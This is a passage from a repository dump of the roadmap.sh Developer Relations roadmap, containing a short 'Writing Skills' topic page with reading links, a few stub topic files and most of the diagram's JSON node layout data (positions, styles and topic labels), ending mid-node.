    "content": "# Writing Skills\n\nGood writing skills are crucial for software developers because they enhance communication, documentation, and collaboration. Clear and concise writing ensures that complex technical concepts are easily understood by team members, stakeholders, and end-users. Effective documentation, including comments, user manuals, and technical guides, helps maintain code quality and facilitates future maintenance and updates. Writing also plays a key role in crafting clear commit messages, bug reports, and project proposals, which are essential for smooth project management and collaboration. In an increasingly global and remote work environment, the ability to articulate ideas and solutions in writing becomes even more vital, ensuring that everyone is on the same page and can contribute effectively to the project's success.\n\nLearn more from the following resources:\n\n- [@article@Putting Ideas into Words](https://www.paulgraham.com/words.html)\n- [@article@Patterns in confusing explanations](https://jvns.ca/blog/confusing-explanations/)\n- [@article@Signposting: How to reduce cognitive load for your reader](https://newsletter.weskao.com/p/sign-posting-how-to-reduce-cognitive)\n"
  },
  {
    "path": "src/data/roadmaps/devrel/content/x@6BqkO4XOspJg0-9GNLtUp.md",
    "content": "# X"
  },
  {
    "path": "src/data/roadmaps/devrel/content/x@Mdp4bBlhVbGohJkVlsDar.md",
    "content": "# X"
  },
  {
    "path": "src/data/roadmaps/devrel/content/youtube@OY5rn3XTbmz4LzSLRcNmw.md",
    "content": "# YouTube"
  },
  {
    "path": "src/data/roadmaps/devrel/devrel.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"6d4tMXBEALIhd7Imd7ZK9\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -719.0482259900746,\n        \"y\": -255.15106699547107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Shout-out to Arindam who helped review and publish this roadmap.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 13,\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 293,\n      \"height\": 143,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -719.0482259900746,\n        \"y\": -255.15106699547107\n      },\n      \"style\": {\n        \"width\": 293,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 293,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"BL1Bq50iSyBK89CKVdnIe\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 81.61857813823781,\n        \"y\": 1810.7066619312445\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        },\n        \"oldId\": \"Vtf0uaqE8v-EBNZyIXr3f\"\n      },\n      \"zIndex\": -999,\n      \"width\": 258,\n      \"height\": 146,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 146\n      },\n      \"positionAbsolute\": {\n        \"x\": 81.61857813823781,\n        \"y\": 1810.7066619312445\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 146\n      }\n    },\n    {\n      \"id\": \"ahghohZ-_jxpfO8dcio2-\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -655.0117738992456,\n        \"y\": 3037.4963331465174\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 113,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -655.0117738992456,\n        \"y\": 3037.4963331465174\n      },\n      \"style\": {\n        \"width\": 21,\n        \"height\": 113\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 113\n      }\n    },\n    {\n      \"id\": \"OruiFfh8ofq3RHcp1BqPm\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -717.1601057962052,\n        \"y\": 2812.1959939613103\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 180,\n      \"height\": 164,\n      \"style\": {\n        \"width\": 180,\n        \"height\": 164\n      },\n      \"positionAbsolute\": {\n        \"x\": -717.1601057962052,\n        \"y\": 2812.1959939613103\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 180,\n        \"height\": 164\n      }\n    },\n    {\n      \"id\": \"klvPKcIs_vb6INETr_psf\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -310.72812279659524,\n        \"y\": 1475.9728546315107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 222,\n      \"height\": 173,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 173\n      },\n      \"positionAbsolute\": {\n        \"x\": -310.72812279659524,\n        \"y\": 1475.9728546315107\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 173\n      }\n    },\n    {\n      \"id\": \"Vtf0uaqE8v-EBNZyIXr3f\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -717.0959104161202,\n        \"y\": 1506.0631657452311\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 235,\n      \"height\": 146,\n      \"style\": {\n        \"width\": 235,\n        \"height\": 146\n      },\n      \"positionAbsolute\": {\n        \"x\": -717.0959104161202,\n        \"y\": 1506.0631657452311\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 146\n      }\n    },\n    {\n      \"id\": \"HJWny__V8IFeysaheCwTK\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -675.0117738992456,\n        \"y\": 1185.057254188356\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"A8kmz1NpxNS8pvTbaoHcr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 97,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -675.0117738992456,\n        \"y\": 1185.057254188356\n      },\n      \"style\": {\n        \"width\": 21,\n        \"height\": 97\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 97\n      }\n    },\n    {\n      \"id\": \"A8kmz1NpxNS8pvTbaoHcr\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -558.1330105911425,\n        \"y\": 1115.057254188356\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 167,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -558.1330105911425,\n        \"y\": 1115.057254188356\n      },\n      \"style\": {\n        \"width\": 21,\n        \"height\": 167\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 167\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 102,\n      \"id\": \"oX928A0R_RLZTH7cWUEh3\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -204.47839322321585,\n        \"y\": -220.42445334555111\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"LEijbLyxg4RyutKEM2Y5g\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -204.47839322321585,\n        \"y\": -220.42445334555111\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 102\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 102\n      }\n    },\n    {\n      \"id\": \"NopCaGZazBML0C3AfbBNR\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -14.502815208049242,\n        \"y\": -270.15106699547107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"yHmHXymPNWwu8p1vvqD3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": -14.502815208049242,\n        \"y\": -270.15106699547107\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"DDP-1_bb5y9YrbN9ioWOi\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -1.2994407952490974,\n        \"y\": -188.1655035777258\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -1.2994407952490974,\n        \"y\": -188.1655035777258\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 134,\n      \"height\": 68,\n      \"id\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"type\": \"title\",\n      \"position\": {\n        \"x\": -260.97839322321585,\n        \"y\": -118.42445334555111\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DevRel\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9nxw2PEl-_eQPW0FHNPq2\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -260.97839322321585,\n        \"y\": -118.42445334555111\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 243,\n      \"height\": 49,\n      \"id\": \"SiYUdtYMDImRPmV2_XPkH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -315.47839322321585,\n        \"y\": 31.880499971196002\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"What is DevRel?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"NVSQ4OtmvRp7p4cOEvKh7\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -315.47839322321585,\n        \"y\": 31.880499971196002\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 21,\n      \"height\": 102,\n      \"id\": \"LEijbLyxg4RyutKEM2Y5g\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -204.47839322321585,\n        \"y\": -220.42445334555111\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#0A33FF\"\n        },\n        \"oldId\": \"xD07fJ1NmNeAarVCEfubU\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": {\n        \"x\": -204.47839322321585,\n        \"y\": -220.42445334555111\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 102\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 102\n      }\n    },\n    {\n      \"id\": \"yHmHXymPNWwu8p1vvqD3o\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -14.502815208049242,\n        \"y\": -270.15106699547107\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Find the detailed version of this roadmap along with other similar roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 355,\n      \"height\": 143,\n      \"positionAbsolute\": {\n        \"x\": -14.502815208049242,\n        \"y\": -270.15106699547107\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 355,\n        \"height\": 143\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 355,\n        \"height\": 143\n      }\n    },\n    {\n      \"id\": \"2zqZkyVgigifcRS1H7F_b\",\n      \"type\": \"button\",\n      \"position\": {\n        \"x\": -1.2994407952490974,\n        \"y\": -188.1655035777258\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 330,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 330,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -1.2994407952490974,\n        \"y\": -188.1655035777258\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 330,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 247,\n      \"height\": 49,\n      \"id\": \"KP28dl1I9hxM130gIPxSZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -713.3901779625485,\n        \"y\": -69.11123134797799\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"History and Evolution\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"N9HXTCQq2wfC-QurSofE_\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -713.3901779625485,\n        \"y\": -69.11123134797799\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 247,\n      \"height\": 49,\n      \"id\": \"No-UnhdGmtLW9uFGLy-ca\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -713.3901779625485,\n        \"y\": 40.873412530488025\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Developer Experience\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UhMk8g5MMhvi3kWLLI6B1\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -713.3901779625485,\n        \"y\": 40.873412530488025\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 247,\n      \"height\": 49,\n      \"id\": \"BooGiYTMoS0N5eobwjPHY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -713.3901779625485,\n        \"y\": 94.74907697805438\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Developer Journey\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UhMk8g5MMhvi3kWLLI6B1\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -713.3901779625485,\n        \"y\": 94.74907697805438\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 247,\n      \"height\": 49,\n      \"id\": \"UhMk8g5MMhvi3kWLLI6B1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -713.3901779625485,\n        \"y\": 148.74907697805438\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Developer Marketing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"b_cpVSBEPJOjRR9wFqte3\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -713.3901779625485,\n        \"y\": 148.74907697805438\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 247,\n      \"height\": 49,\n      \"id\": \"N9HXTCQq2wfC-QurSofE_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -713.3901779625485,\n        \"y\": -15.111231347977991\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Importance of DevRel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UhMk8g5MMhvi3kWLLI6B1\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -713.3901779625485,\n        \"y\": -15.111231347977991\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3edfFsVKBrFBSRUodcfEN\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -463.0654595100779,\n        \"y\": 41.74848635799543\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 4,\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 157,\n      \"positionAbsolute\": {\n        \"x\": -463.0654595100779,\n        \"y\": 41.74848635799543\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 157\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 157\n      }\n    },\n    {\n      \"id\": \"X-NGIOPzGZZPOOnCzrsZb\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -660.3901779625485,\n        \"y\": 203.74848635799543\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Key Concepts\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 123,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -660.3901779625485,\n        \"y\": 203.74848635799543\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 123,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"TPklnBmbtRSSBUdOmBcdF\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 131.02160677678415,\n        \"y\": 190.888768652022\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Key Responsibilities\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"X-NGIOPzGZZPOOnCzrsZb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 131.02160677678415,\n        \"y\": 190.888768652022\n      },\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 36\n      }\n    },\n    {\n      \"width\": 247,\n      \"height\": 49,\n      \"id\": \"7MCmY1bABGPfmzjErADvg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 92.52160677678415,\n        \"y\": -76.25151364200462\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Advocacy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IxRvVvX9Fax08YUbVob4s\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 92.52160677678415,\n        \"y\": -76.25151364200462\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 247,\n      \"height\": 49,\n      \"id\": \"EjqJkyojhO7f1uFHIoyGY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 92.52160677678415,\n        \"y\": -23.251513642004625\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Education\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IxRvVvX9Fax08YUbVob4s\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 92.52160677678415,\n        \"y\": -23.251513642004625\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 247,\n      \"height\": 49,\n      \"id\": \"1NFcpGzCJylRPbFYdD9bB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 92.52160677678415,\n        \"y\": 29.748486357995375\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Community Support\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IxRvVvX9Fax08YUbVob4s\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 92.52160677678415,\n        \"y\": 29.748486357995375\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 247,\n      \"height\": 49,\n      \"id\": \"_3ZnPUl4kzzuM0bKQ8IAq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 92.52160677678415,\n        \"y\": 82.74848635799538\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content Creation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IxRvVvX9Fax08YUbVob4s\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 92.52160677678415,\n        \"y\": 82.74848635799538\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 247,\n      \"height\": 49,\n      \"id\": \"IxRvVvX9Fax08YUbVob4s\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 92.52160677678415,\n        \"y\": 135.74848635799538\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Feedback Loop\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KP28dl1I9hxM130gIPxSZ\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 92.52160677678415,\n        \"y\": 135.74848635799538\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ocnvHsixvBpr2fvjtqFmU\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -311.11787473083643,\n        \"y\": 248.57554665444889\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Communication Skills\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16,\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 233,\n      \"height\": 68,\n      \"positionAbsolute\": {\n        \"x\": -311.11787473083643,\n        \"y\": 248.57554665444889\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 233,\n        \"height\": 68\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 233,\n        \"height\": 68\n      }\n    },\n    {\n      \"width\": 292,\n      \"height\": 49,\n      \"id\": \"LRZ8yxTfEGCXsYp4N1_uD\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 49.92254380155521,\n        \"y\": 257.5755466544489\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Public Speaking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0ntOE6PSdMl_EXB9gdgIv\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 292,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 49.92254380155521,\n        \"y\": 257.5755466544489\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 292,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 241,\n      \"height\": 49,\n      \"id\": \"0ntOE6PSdMl_EXB9gdgIv\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -315.11787473083643,\n        \"y\": 354.6277176317968\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Writing Skills\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"SiYUdtYMDImRPmV2_XPkH\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -315.11787473083643,\n        \"y\": 354.6277176317968\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 241,\n      \"height\": 49,\n      \"id\": \"c0w241EL0Kh4ek76IgsEs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -315.11787473083643,\n        \"y\": 532.4541873081913\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Blog Posts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"KP28dl1I9hxM130gIPxSZ\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -315.11787473083643,\n        \"y\": 532.4541873081913\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 241,\n      \"height\": 49,\n      \"id\": \"X0xUzEP0S6SyspvqyoDDk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -315.11787473083643,\n        \"y\": 480.4541873081913\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Technical Documentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          